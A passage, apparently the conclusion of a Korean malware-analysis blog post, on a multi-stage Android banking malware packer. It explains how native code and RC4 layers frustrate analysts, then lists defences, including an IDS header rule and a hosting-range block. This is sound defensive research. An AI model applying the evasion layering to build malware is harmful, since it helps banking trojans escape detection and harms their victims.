리버싱 측면에서 이 검체는 모범적인 다단계 패커다. 각 단계가 다음 단계 분석을 다른 방식으로 어렵게 만든다.
- Stage 1 → 2: 사용자 동작이 있어야 풀린다 (사회공학 단계가 분석 환경에서도 동일 필요)
- Stage 2 → 3: 네이티브 코드 안에서 일어난다 (Java 만 보면 못 풀음)
- Stage 3: 문자열·필드명·URL·응답이 모두 또 한 번 RC4 (런타임에서만 평문 존재)
그래서 Java/dex 만 보는 분석가는 “거의 빈 APK” 라고 결론낼 위험이 있고, 네이티브 디스어셈블만 하는 분석가는 RC4 키는 잡아도 “뭘 푸는지” 추적이 어렵다. 두 도구를 같이 써야 끝이 보인다.
방어 측면에서는 다음이 중요하다.
- 사이드로드 APK 화이트리스트 강제 — Play 외 설치 금지가 가장 강력한 방어
- AccessibilityService 활성 알림 — 사용자가 활성화하는 순간 이상 신호로 보고
Packets-sent같은 커스텀 헤더 IDS 룰176.123.0.0/16PQ Hosting 대역 차단
이 한 검체에 들어있는 보호 기술은 모두 표준 RC4, 표준 리플렉션, 표준 PackageInstaller API 이다. 어떤 기법도 새롭지 않다. 그런데도 8단 적층으로 쌓아두면 충분히 무서워진다 — 모바일 뱅킹 멀웨어가 어디까지 왔는지 보여주는 한 표본이다.
If you find any errors, please let me know by comment or email. Thank you.
